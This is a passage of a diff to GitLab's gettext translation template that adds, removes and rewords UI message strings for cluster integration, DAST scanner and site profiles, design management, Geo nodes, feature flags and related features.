+msgid "ClusterIntegration|Any project namespaces"
+msgstr ""
+
msgid "ClusterIntegration|Any running pipelines will be canceled."
msgstr ""
@@ -5530,15 +5662,12 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{startLink}instance type %{externalLinkIcon} %{endLink}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster. Helm Tiller is required to install any of the following applications."
+msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
msgstr ""
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
-msgid "ClusterIntegration|Choose which of your environments will use this cluster. %{environment_scope_start}More information%{environment_scope_end}"
-msgstr ""
-
msgid "ClusterIntegration|Clear cluster cache"
msgstr ""
@@ -5563,6 +5692,9 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
+msgid "ClusterIntegration|Connect existing cluster"
+msgstr ""
+
msgid "ClusterIntegration|Copy API URL"
msgstr ""
@@ -5746,9 +5878,6 @@ msgstr ""
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
-msgid "ClusterIntegration|Helm streamlines installing and managing Kubernetes applications. Tiller runs inside of your Kubernetes Cluster, and manages releases of your charts."
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -5944,7 +6073,7 @@ msgstr ""
msgid "ClusterIntegration|Number of nodes must be a numerical value."
msgstr ""
-msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{link_to_help_page} on Kubernetes"
+msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{linkStart}documentation%{linkEnd} on Kubernetes"
msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
@@ -6163,12 +6292,15 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
msgstr ""
-msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{auto_devops_start}Auto DevOps%{auto_devops_end}. The domain should have a wildcard DNS configured matching the domain."
+msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
+msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
+msgstr ""
+
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -6208,15 +6340,27 @@ msgstr ""
msgid "ClusterIntegration|This option will allow you to install applications on RBAC clusters."
msgstr ""
+msgid "ClusterIntegration|This project does not have billing enabled. To create a cluster, %{linkToBillingStart}enable billing%{linkToBillingEnd} and try again."
+msgstr ""
+
+msgid "ClusterIntegration|This will permanently delete the following resources:"
+msgstr ""
+
msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
msgstr ""
+msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|To remove your integration and resources, type %{clusterName} to confirm:"
msgstr ""
msgid "ClusterIntegration|To remove your integration, type %{clusterName} to confirm:"
msgstr ""
+msgid "ClusterIntegration|To use a new project, first create one on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Uninstall %{appTitle}"
msgstr ""
@@ -6241,6 +6385,9 @@ msgstr ""
msgid "ClusterIntegration|We could not verify that one of your projects on GCP has billing enabled. Please try again."
msgstr ""
+msgid "ClusterIntegration|We were unable to fetch any projects. Ensure that you have a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|With a Kubernetes cluster associated to this project, you can use review apps, deploy your applications, run your pipelines, and much more in an easy way."
msgstr ""
@@ -6256,9 +6403,6 @@ msgstr ""
msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
msgstr ""
-msgid "ClusterIntegration|You must first install Helm Tiller before installing the applications below"
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
@@ -6289,7 +6433,7 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|documentation"
+msgid "ClusterIntegration|can be used instead of a custom domain. "
msgstr ""
msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
@@ -6466,6 +6610,12 @@ msgstr ""
msgid "Comment/Reply (quoting selected text)"
msgstr ""
+msgid "Commenting on files that replace or are replaced by symbolic links is currently not supported."
+msgstr ""
+
+msgid "Commenting on symbolic links that replace or are replaced by files is currently not supported."
+msgstr ""
+
msgid "Comments"
msgstr ""
@@ -6670,7 +6820,7 @@ msgstr ""
msgid "Configure Tracing"
msgstr ""
-msgid "Configure a <code>.gitlab-webide.yml</code> file in the <code>.gitlab</code> directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
+msgid "Configure a %{codeStart}.gitlab-webide.yml%{codeEnd} file in the %{codeStart}.gitlab%{codeEnd} directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
msgid "Configure automatic git checks and housekeeping on repositories."
@@ -7135,9 +7285,6 @@ msgstr ""
msgid "Copy"
msgstr ""
-msgid "Copy %{field}"
-msgstr ""
-
msgid "Copy %{http_label} clone URL"
msgstr ""
@@ -7222,6 +7369,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy to clipboard"
+msgstr ""
+
msgid "Copy token"
msgstr ""
@@ -7234,6 +7384,9 @@ msgstr ""
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not archive %{design}. Please try again."
+msgstr ""
+
msgid "Could not authorize chat nickname. Try again!"
msgstr ""
@@ -7258,15 +7411,21 @@ msgstr ""
msgid "Could not create group"
msgstr ""
+msgid "Could not create issue"
+msgstr ""
+
msgid "Could not create project"
msgstr ""
-msgid "Could not delete %{design}. Please try again."
+msgid "Could not create wiki page"
msgstr ""
msgid "Could not delete chat nickname %{chat_name}."
msgstr ""
+msgid "Could not delete wiki page"
+msgstr ""
+
msgid "Could not find design."
msgstr ""
@@ -7297,6 +7456,9 @@ msgstr ""
msgid "Could not save prometheus manual configuration"
msgstr ""
+msgid "Could not udpdate wiki page"
+msgstr ""
+
msgid "Could not update the LDAP settings"
msgstr ""
@@ -7312,6 +7474,15 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
+msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
+
msgid "Create"
msgstr ""
@@ -7402,6 +7573,9 @@ msgstr ""
msgid "Create file"
msgstr ""
+msgid "Create from"
+msgstr ""
+
msgid "Create group"
msgstr ""
@@ -7438,6 +7612,9 @@ msgstr ""
msgid "Create new branch"
msgstr ""
+msgid "Create new confidential %{issuableType}"
+msgstr ""
+
msgid "Create new directory"
msgstr ""
@@ -7462,6 +7639,9 @@ msgstr ""
msgid "Create project label"
msgstr ""
+msgid "Create release"
+msgstr ""
+
msgid "Create requirement"
msgstr ""
@@ -7633,6 +7813,9 @@ msgstr ""
msgid "Custom hostname (for private commit emails)"
msgstr ""
+msgid "Custom metrics"
+msgstr ""
+
msgid "Custom notification events"
msgstr ""
@@ -7729,6 +7912,15 @@ msgstr ""
msgid "Customize your pipeline configuration."
msgstr ""
+msgid "CustomizeHomepageBanner|Do you want to customize this page?"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|Go to preferences"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|This page shows a list of your projects by default but it can be changed to show projects' activity, groups, your to-do list, assigned issues, assigned merge requests, and more. You can change this under \"Homepage content\" in your preferences"
+msgstr ""
+
msgid "Cycle Time"
msgstr ""
@@ -7897,6 +8089,9 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Profiles"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -7927,25 +8122,55 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Silver plan."
msgstr ""
+msgid "DastProfiles|Are you sure you want to delete this profile?"
+msgstr ""
+
+msgid "DastProfiles|Could not create the scanner profile. Please try again."
+msgstr ""
+
msgid "DastProfiles|Could not create the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Could not delete scanner profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete scanner profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not fetch scanner profiles. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "DastProfiles|Could not update the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Do you want to discard this scanner profile?"
+msgstr ""
+
msgid "DastProfiles|Do you want to discard this site profile?"
msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
+msgid "DastProfiles|Download validation text file"
+msgstr ""
+
msgid "DastProfiles|Edit feature will come soon. Please create a new profile if changes needed"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
-msgid "DastProfiles|Error fetching the profiles list. Please check your network connection and try again."
+msgid "DastProfiles|Error Details"
msgstr ""
msgid "DastProfiles|Manage Profiles"
@@ -7954,7 +8179,16 @@ msgstr ""
msgid "DastProfiles|Manage profiles"
msgstr ""
-msgid "DastProfiles|New Site Profile"
+msgid "DastProfiles|Minimum = 0 (no timeout enabled), Maximum = 2880 minutes"
+msgstr ""
+
+msgid "DastProfiles|Minimum = 1 second, Maximum = 3600 seconds"
+msgstr ""
+
+msgid "DastProfiles|New Profile"
+msgstr ""
+
+msgid "DastProfiles|New scanner profile"
msgstr ""
msgid "DastProfiles|New site profile"
@@ -7966,6 +8200,9 @@ msgstr ""
msgid "DastProfiles|Please enter a valid URL format, ex: http://www.example.com/home"
msgstr ""
+msgid "DastProfiles|Please enter a valid timeout value"
+msgstr ""
+
msgid "DastProfiles|Profile name"
msgstr ""
@@ -7975,12 +8212,69 @@ msgstr ""
msgid "DastProfiles|Save profile"
msgstr ""
+msgid "DastProfiles|Scanner Profile"
+msgstr ""
+
+msgid "DastProfiles|Scanner Profiles"
+msgstr ""
+
+msgid "DastProfiles|Site Profile"
+msgstr ""
+
msgid "DastProfiles|Site Profiles"
msgstr ""
+msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgstr ""
+
+msgid "DastProfiles|Site must be validated to run an active scan."
+msgstr ""
+
+msgid "DastProfiles|Spider timeout"
+msgstr ""
+
+msgid "DastProfiles|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgstr ""
+
msgid "DastProfiles|Target URL"
msgstr ""
+msgid "DastProfiles|Target timeout"
+msgstr ""
+
+msgid "DastProfiles|Text file validation"
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the spider to traverse the site."
+msgstr ""
+
+msgid "DastProfiles|Validate"
+msgstr ""
+
+msgid "DastProfiles|Validate target site"
+msgstr ""
+
+msgid "DastProfiles|Validating..."
+msgstr ""
+
+msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgstr ""
+
+msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgstr ""
+
+msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgstr ""
+
msgid "Data is still calculating..."
msgstr ""
@@ -8053,7 +8347,7 @@ msgstr ""
msgid "Default classification label"
msgstr ""
-msgid "Default deletion adjourned period"
+msgid "Default deletion delay"
msgstr ""
msgid "Default description template for issues"
@@ -8131,10 +8425,10 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
-msgid "Delete Package"
+msgid "Delete Snippet"
msgstr ""
-msgid "Delete Snippet"
+msgid "Delete account"
msgstr ""
msgid "Delete artifacts"
@@ -8191,6 +8485,9 @@ msgstr ""
msgid "Delete variable"
msgstr ""
+msgid "DeleteProject|Delete %{name}"
+msgstr ""
+
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -8212,15 +8509,24 @@ msgstr ""
msgid "Deleted"
msgstr ""
+msgid "Deleted Projects"
+msgstr ""
+
msgid "Deleted chat nickname: %{chat_name}!"
msgstr ""
-msgid "Deleted in this version"
+msgid "Deleted projects"
+msgstr ""
+
+msgid "Deleted projects cannot be restored!"
msgstr ""
msgid "Deleting"
msgstr ""
+msgid "Deleting a project places it into a read-only state until %{date}, at which point the project will be permanently deleted. Are you ABSOLUTELY sure?"
+msgstr ""
+
msgid "Deleting the license failed."
msgstr ""
@@ -8230,6 +8536,9 @@ msgstr ""
msgid "Deleting the license failed. You are not permitted to perform this action."
msgstr ""
+msgid "Deleting the project will delete its repository and all related resources including issues, merge requests etc."
+msgstr ""
+
msgid "Deletion pending. This project will be removed on %{date}. Repository and other project resources are read-only."
msgstr ""
@@ -8260,6 +8569,15 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
+msgid "Dependencies|%d more"
+msgid_plural "Dependencies|%d more"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
+
msgid "Dependencies|%d vulnerability detected"
msgid_plural "Dependencies|%d vulnerabilities detected"
msgstr[0] ""
@@ -8272,6 +8590,9 @@ msgstr[5] ""
msgid "Dependencies|%{remainingLicensesCount} more"
msgstr ""
+msgid "Dependencies|(top level)"
+msgstr ""
+
msgid "Dependencies|All"
msgstr ""
@@ -8284,6 +8605,9 @@ msgstr ""
msgid "Dependencies|Component name"
msgstr ""
+msgid "Dependencies|Dependency path"
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -8302,6 +8626,9 @@ msgstr ""
msgid "Dependencies|The %{codeStartTag}dependency_scanning%{codeEndTag} job has failed and cannot generate the list. Please ensure the job is running properly and run the pipeline again."
msgstr ""
+msgid "Dependencies|There may be multiple paths"
+msgstr ""
+
msgid "Dependencies|Toggle vulnerability list"
msgstr ""
@@ -8344,8 +8671,8 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
-msgid "Depends on <strong>%d closed</strong> merge request."
-msgid_plural "Depends on <strong>%d closed</strong> merge requests."
+msgid "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge request."
+msgid_plural "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge requests."
msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
@@ -8398,7 +8725,7 @@ msgstr ""
msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
-msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The <code>gitlab-ci.yml</code> file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
+msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The %{filename} file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
msgstr ""
msgid "DeployFreeze|Time zone"
@@ -8632,13 +8959,22 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgid "DesignManagement|Archive designs"
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
+msgid "DesignManagement|Archive selected"
+msgstr ""
+
+msgid "DesignManagement|Archived designs will still be available in previous versions of the design collection."
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to archive the selected designs?"
msgstr ""
-msgid "DesignManagement|Are you sure you want to delete the selected designs?"
+msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
msgstr ""
msgid "DesignManagement|Cancel changes"
@@ -8671,15 +9007,6 @@ msgstr ""
msgid "DesignManagement|Could not update note. Please try again."
msgstr ""
-msgid "DesignManagement|Delete"
-msgstr ""
-
-msgid "DesignManagement|Delete designs confirmation"
-msgstr ""
-
-msgid "DesignManagement|Delete selected"
-msgstr ""
-
msgid "DesignManagement|Deselect all"
msgstr ""
@@ -8761,7 +9088,10 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Score"
+msgid "DevOps"
+msgstr ""
+
+msgid "DevOps Report"
msgstr ""
msgid "Diff content limits"
@@ -8770,6 +9100,9 @@ msgstr ""
msgid "Diff limits"
msgstr ""
+msgid "Diff view settings"
+msgstr ""
+
msgid "Difference between start date and now"
msgstr ""
@@ -8782,7 +9115,10 @@ msgstr ""
msgid "Diffs|No file name available"
msgstr ""
-msgid "Diffs|Show unchanged lines"
+msgid "Diffs|Show %{unfoldCount} lines"
+msgstr ""
+
+msgid "Diffs|Show all unchanged lines"
msgstr ""
msgid "Diffs|Something went wrong while fetching diff lines."
@@ -8887,9 +9223,6 @@ msgstr ""
msgid "Discuss a specific suggestion or question."
msgstr ""
-msgid "Discussion"
-msgstr ""
-
msgid "Discussion to reply to cannot be found"
msgstr ""
@@ -8908,7 +9241,7 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
-msgid "Dismiss DevOps Score introduction"
+msgid "Dismiss DevOps Report introduction"
msgstr ""
msgid "Dismiss Merge Request promotion"
@@ -9160,9 +9493,6 @@ msgstr ""
msgid "Edit comment"
msgstr ""
-msgid "Edit dashboard"
-msgstr ""
-
msgid "Edit description"
msgstr ""
@@ -9451,9 +9781,6 @@ msgstr ""
msgid "Enable usage ping"
msgstr ""
-msgid "Enable usage ping to get an overview of how you are using GitLab from a feature perspective."
-msgstr ""
-
msgid "Enable/disable your service desk. %{link_start}Learn more about service desk%{link_end}."
msgstr ""
@@ -9622,6 +9949,9 @@ msgstr ""
msgid "Environments in %{name}"
msgstr ""
+msgid "EnvironmentsAlert|%{severity} • %{title} %{text}. %{linkStart}View Details%{linkEnd} · %{startedAt} "
+msgstr ""
+
msgid "EnvironmentsDashboard|Add a project to the dashboard"
msgstr ""
@@ -9646,7 +9976,7 @@ msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -9925,6 +10255,9 @@ msgstr ""
msgid "Epics|To schedule your epic's %{epicDateType} date based on milestones, assign a milestone with a %{epicDateType} date to any issue in the epic."
msgstr ""
+msgid "Epics|Unable to perform this action"
+msgstr ""
+
msgid "Epics|Unable to save epic. Please try again"
msgstr ""
@@ -10252,7 +10585,7 @@ msgstr ""
msgid "Exactly one of %{attributes} is required"
msgstr ""
-msgid "Example: <code>192.168.0.0/24</code>. %{read_more_link}."
+msgid "Example: %{ip_address}. %{read_more_link}."
msgstr ""
msgid "Example: @sub\\.company\\.com$"
@@ -10273,6 +10606,9 @@ msgstr ""
msgid "Excluding merge commits. Limited to 6,000 commits."
msgstr ""
+msgid "Existing branch name, tag, or commit SHA"
+msgstr ""
+
msgid "Existing members and groups"
msgstr ""
@@ -10282,9 +10618,6 @@ msgstr ""
msgid "Existing projects will be able to use expiration policies. Avoid enabling this if an external Container Registry is being used, as there is a performance risk if many images exist on one project."
msgstr ""
-msgid "Existing shares"
-msgstr ""
-
msgid "Existing sign in methods may be removed"
msgstr ""
@@ -10297,9 +10630,6 @@ msgstr ""
msgid "Expand approvers"
msgstr ""
-msgid "Expand down"
-msgstr ""
-
msgid "Expand dropdown"
msgstr ""
@@ -10309,9 +10639,6 @@ msgstr ""
msgid "Expand sidebar"
msgstr ""
-msgid "Expand up"
-msgstr ""
-
msgid "Expected documents: %{expected_documents}"
msgstr ""
@@ -10324,9 +10651,6 @@ msgstr ""
msgid "Expiration date"
msgstr ""
-msgid "Expiration not enforced"
-msgstr ""
-
msgid "Expired"
msgstr ""
@@ -10762,12 +11086,18 @@ msgstr ""
msgid "FeatureFlags|Flag becomes read only soon"
msgstr ""
+msgid "FeatureFlags|Flag is read-only"
+msgstr ""
+
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags, and in 13.4, this feature flag will become read-only. Please create a new feature flag."
msgstr ""
+msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
+msgstr ""
+
msgid "FeatureFlags|ID"
msgstr ""
@@ -10852,6 +11182,9 @@ msgstr ""
msgid "FeatureFlags|There was an error retrieving user lists"
msgstr ""
+msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
+msgstr ""
+
msgid "FeatureFlags|Try again in a few moments or contact your support team."
msgstr ""
@@ -10861,9 +11194,6 @@ msgstr ""
msgid "FeatureFlags|User List"
msgstr ""
-msgid "FeatureFlag|Delete strategy"
-msgstr ""
-
msgid "FeatureFlag|List"
msgstr ""
@@ -10903,6 +11233,9 @@ msgstr ""
msgid "File"
msgstr ""
+msgid "File %{current} of %{total}"
+msgstr ""
+
msgid "File Hooks"
msgstr ""
@@ -11128,6 +11461,9 @@ msgstr ""
msgid "Footer message"
msgstr ""
+msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgstr ""
+
msgid "For internal projects, any logged in user can view pipelines and access job details (output logs and artifacts)"
msgstr ""
@@ -11299,30 +11635,15 @@ msgstr ""
msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
msgstr ""
-msgid "GeoNodes|Attachments"
-msgstr ""
-
-msgid "GeoNodes|Checksummed"
-msgstr ""
-
msgid "GeoNodes|Consult Geo troubleshooting information"
msgstr ""
-msgid "GeoNodes|Container repositories"
-msgstr ""
-
msgid "GeoNodes|Data replication lag"
msgstr ""
-msgid "GeoNodes|Design repositories"
-msgstr ""
-
msgid "GeoNodes|Does not match the primary storage configuration"
msgstr ""
-msgid "GeoNodes|Failed"
-msgstr ""
-
msgid "GeoNodes|Full"
msgstr ""
@@ -11338,12 +11659,6 @@ msgstr ""
msgid "GeoNodes|Internal URL"
msgstr ""
-msgid "GeoNodes|Job artifacts"
-msgstr ""
-
-msgid "GeoNodes|LFS objects"
-msgstr ""
-
msgid "GeoNodes|Last event ID processed by cursor"
msgstr ""
@@ -11371,12 +11686,6 @@ msgstr ""
msgid "GeoNodes|Node's status was updated %{timeAgo}."
msgstr ""
-msgid "GeoNodes|Not checksummed"
-msgstr ""
-
-msgid "GeoNodes|Package files"
-msgstr ""
-
msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
msgstr ""
@@ -11398,15 +11707,6 @@ msgstr ""
msgid "GeoNodes|Replication status"
msgstr ""
-msgid "GeoNodes|Repositories"
-msgstr ""
-
-msgid "GeoNodes|Repository checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Repository verification progress"
-msgstr ""
-
msgid "GeoNodes|Selective (%{syncLabel})"
msgstr ""
@@ -11434,27 +11734,12 @@ msgstr ""
msgid "GeoNodes|Unused slots"
msgstr ""
-msgid "GeoNodes|Unverified"
-msgstr ""
-
msgid "GeoNodes|Updated %{timeAgo}"
msgstr ""
msgid "GeoNodes|Used slots"
msgstr ""
-msgid "GeoNodes|Verified"
-msgstr ""
-
-msgid "GeoNodes|Wiki checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Wiki verification progress"
-msgstr ""
-
-msgid "GeoNodes|Wikis"
-msgstr ""
-
msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
msgstr ""
@@ -11467,6 +11752,12 @@ msgstr ""
msgid "GeoNodes|secondary nodes"
msgstr ""
+msgid "Geo|%{itemTitle} checksum progress"
+msgstr ""
+
+msgid "Geo|%{itemTitle} verification progress"
+msgstr ""
+
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -11530,6 +11821,12 @@ msgstr ""
msgid "Geo|Geo Status"
msgstr ""
+msgid "Geo|Go to the primary site"
+msgstr ""
+
+msgid "Geo|If you want to make changes, you must visit the primary site."
+msgstr ""
+
msgid "Geo|In progress"
msgstr ""
@@ -11662,10 +11959,10 @@ msgstr ""
msgid "Geo|Waiting for scheduler"
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. If you want to make changes, you must visit this page on the %{node_link_open}primary node%{node_link_close}."
+msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node."
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
+msgid "Geo|You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
msgstr ""
msgid "Geo|misconfigured"
@@ -11842,7 +12139,7 @@ msgstr ""
msgid "GitLabPages|Force HTTPS (requires valid certificates)"
msgstr ""
-msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings > General > Visibility%{strong_end} page."
+msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
@@ -11959,7 +12256,10 @@ msgstr ""
msgid "Go to %{link_to_google_takeout}."
msgstr ""
-msgid "Go to <strong>Issues</strong> > <strong>Boards</strong> to access your personalized learning issue board."
+msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
+msgstr ""
+
+msgid "Go to Integrations"
msgstr ""
msgid "Go to Webhooks"
@@ -12241,6 +12541,9 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
+msgid "Group push rule exists, try updating"
+msgstr ""
+
msgid "Group requires separate account"
msgstr ""
@@ -12517,7 +12820,7 @@ msgstr ""
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day waiting period. This period can be %{customization_link} in instance settings"
+msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{customization_link} in instance settings"
msgstr ""
msgid "GroupSettings|Select a sub-group as the custom project template source for this group."
@@ -12730,6 +13033,9 @@ msgstr ""
msgid "Health status"
msgstr ""
+msgid "Health status cannot be edited because this issue is closed"
+msgstr ""
+
msgid "HealthCheck|Access token is"
msgstr ""
@@ -12745,6 +13051,9 @@ msgstr ""
msgid "Hello there"
msgstr ""
+msgid "Hello, %{username}!"
+msgstr ""
+
msgid "Help"
msgstr ""
@@ -12883,6 +13192,9 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
+msgid "How to upgrade"
+msgstr ""
+
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -13039,6 +13351,12 @@ msgstr ""
msgid "If you remove this license, GitLab will fall back on the previous license, if any."
msgstr ""
+msgid "If you want to re-enable two-factor authentication, visit %{two_factor_link}"
+msgstr ""
+
+msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -13192,6 +13510,9 @@ msgstr ""
msgid "ImportProjects|Importing the project failed: %{reason}"
msgstr ""
+msgid "ImportProjects|Requesting namespaces failed"
+msgstr ""
+
msgid "ImportProjects|Requesting your %{provider} repositories failed"
msgstr ""
@@ -13207,6 +13528,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Improve Issue Boards"
+msgstr ""
+
msgid "Improve Issue boards"
msgstr ""
@@ -13219,13 +13543,13 @@ msgstr ""
msgid "Improve customer support with GitLab Service Desk."
msgstr ""
-msgid "Improve search with Advanced Global Search and GitLab Enterprise Edition."
+msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
msgid "In %{time_to_now}"
msgstr ""
-msgid "In order to enable instance-level analytics, please ask an admin to enable %{usage_ping_link_start}usage ping%{usage_ping_link_end}."
+msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
msgstr ""
msgid "In order to gather accurate feature usage data, it can take 1 to 2 weeks to see your index."
@@ -13234,21 +13558,24 @@ msgstr ""
msgid "In order to personalize your experience with GitLab%{br_tag}we would like to know a bit more about you."
msgstr ""
-msgid "In order to tailor your experience with GitLab we%{br_tag}would like to know a bit more about you."
-msgstr ""
-
msgid "In progress"
msgstr ""
